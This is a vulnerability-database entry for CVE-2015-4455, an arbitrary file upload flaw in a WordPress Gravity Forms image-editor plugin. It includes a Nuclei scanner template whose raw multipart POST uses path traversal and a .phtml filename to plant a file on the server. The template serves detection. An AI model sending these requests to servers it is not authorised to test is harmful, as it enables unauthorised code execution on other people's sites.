| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| WordPress Aviary Image Editor Add On For Gravity Forms 3.0 Beta Shell Upload Exploit | 11 Jun 201500:00 | – | zdt | |
| CVE-2015-4455 | 4 May 202408:01 | – | circl | |
| WordPress Aviary Image Editor Add-on For Gravity Forms Plugin Arbitrary File Upload Vulnerability | 24 Jun 201500:00 | – | cnvd | |
| CVE-2015-4455 | 23 May 201703:56 | – | cve | |
| CVE-2015-4455 | 23 May 201703:56 | – | cvelist | |
| CVE-2015-4455 | 23 May 201704:29 | – | nvd | |
| WordPress Aviary Image Editor Add On For Gravity Forms 3.0 Beta Shell Upload | 11 Jun 201500:00 | – | packetstorm | |
| WordPress Aviary Image Editor Add On For Gravity Forms Plugin - Beta Shell Upload | 12 Jun 201500:00 | – | patchstack | |
| Unrestricted file upload | 23 May 201704:29 | – | prion | |
| VulnCheck KEV: CVE-2015-4455 | 27 May 202500:00 | – | vulncheck_kev |
id: CVE-2015-4455
info:
name: WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload
author: MaStErChO
severity: critical
description: |
Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.
impact: |
Remote attackers can upload malicious files and execute arbitrary code on the server, leading to full system compromise.
remediation: |
Implement strict file validation and sanitization, restrict upload types, and update to the latest plugin version.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2015-4455
- http://packetstormsecurity.com/files/132256/WordPress-Aviary-Image-Editor-Add-On-For-Gravity-Forms-3.0-Beta-Shell-Upload.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2015-4455
cwe-id: CWE-434
epss-score: 0.41478
epss-percentile: 0.98496
cpe: cpe:2.3:a:aviary_image_editor_add-on_for_gravity_forms_project:aviary_image_editor_add-on_for_gravity_forms:*:beta:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "aviary_image_editor_add-on_for_gravity_forms_project"
product: "aviary_image_editor_add-on_for_gravity_forms"
framework: wordpress
tags: cve,cve2015,packetstorm,intrusive,file-upload,wordpress,aviary_image_editor_add-on_for_gravity_forms_project,vkev,vuln
variables:
filename: '{{rand_base(7, "abc")}}'
http:
- raw:
- |
GET /?gf_page=upload HTTP/1.1
Host: {{Hostname}}
- |
POST /?gf_page=upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=a54906fe12c504cb01ca836d062f82fa
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="field_id"
3
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="form_id"
1
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="gform_unique_id"
../../../
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="name"
{{filename}}.phtml
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="file"; filename="{{filename}}.jpg"
Content-Type: text/html
{{randstr}}
--a54906fe12c504cb01ca836d062f82fa--
host-redirects: true
matchers:
- type: dsl
dsl:
- 'contains(body_1, "Failed to upload file")'
- 'status_code_2 == 200'
- 'contains(body_2, "uploaded_filename\":\"{{filename}}.jpg")'
condition: and
# digest: 490a0046304402203187934aaca0a85aeb0884ebc4fcd0dae92962939854e0b707cb391a7592cda3022033f43423b3fb9639bff5ce12ee320b971e8f166860e7bea83aa05e8174268407:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation